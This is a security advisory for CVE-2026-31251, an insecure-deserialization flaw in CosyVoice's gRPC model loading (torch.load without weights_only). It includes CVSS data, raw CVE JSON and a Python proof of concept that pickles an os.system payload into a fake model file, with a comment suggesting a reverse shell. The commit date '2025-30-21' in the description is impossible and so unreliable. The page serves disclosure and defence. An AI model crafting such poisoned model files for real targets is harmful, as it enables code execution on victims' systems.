Security Vulnerability Report
中文
CVE-2026-31251 CVSS 7.3 HIGH

CVE-2026-31251

Published: 2026-05-11 17:16:20
Last Modified: 2026-05-12 20:16:34

Description

CosyVoice thru commit 6e01309e01bc93bbeb83bdd996b1182a81aaf11e (2025-30-21) contains an insecure deserialization vulnerability (CWE-502) in its gRPC server component. When the server starts, it loads the speech synthesis model from a user-specified directory using torch.load() without enabling the weights_only=True security parameter. This allows the deserialization of arbitrary Python objects via the pickle module. An attacker can exploit this by providing malicious model files within a directory. When a victim starts the gRPC server pointing to this directory, arbitrary code is executed on the victim's system during server initialization.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

CosyVoice <= commit 6e01309e

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import torch import os import pickle # Define a malicious class that executes code on deserialization class MaliciousPayload: def __reduce__(self): # The command to execute (e.g., creating a file as proof of concept) # In a real attack, this could be a reverse shell return (os.system, ('touch /tmp/pwned_by_cve_2026_31251',)) # Create an instance of the malicious payload payload = MaliciousPayload() # Save the payload as a fake model file using torch.save (which uses pickle internally) # The victim would load this file thinking it is a legitimate speech synthesis model print("[*] Generating malicious model file...") torch.save(payload, 'malicious_model.pt') print("[+] Malicious model file 'malicious_model.pt' created successfully.") print("[+] When the victim loads this file using torch.load(), the command will be executed.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31251", "sourceIdentifier": "[email protected]", "published": "2026-05-11T17:16:20.070", "lastModified": "2026-05-12T20:16:33.700", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "CosyVoice thru commit 6e01309e01bc93bbeb83bdd996b1182a81aaf11e (2025-30-21) contains an insecure deserialization vulnerability (CWE-502) in its gRPC server component. When the server starts, it loads the speech synthesis model from a user-specified directory using torch.load() without enabling the weights_only=True security parameter. This allows the deserialization of arbitrary Python objects via the pickle module. An attacker can exploit this by providing malicious model files within a directory. When a victim starts the gRPC server pointing to this directory, arbitrary code is executed on the victim's system during server initialization."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-94"}, {"lang": "en", "value": "CWE-915"}]}], "references": [{"url": "https://github.com/FunAudioLLM/CosyVoice", "source": "[email protected]"}, {"url": "https://www.notion.so/CVE-2026-31251-35d1e1393188816f9bf5f3ccea3aa16f", "source": "[email protected]"}]}}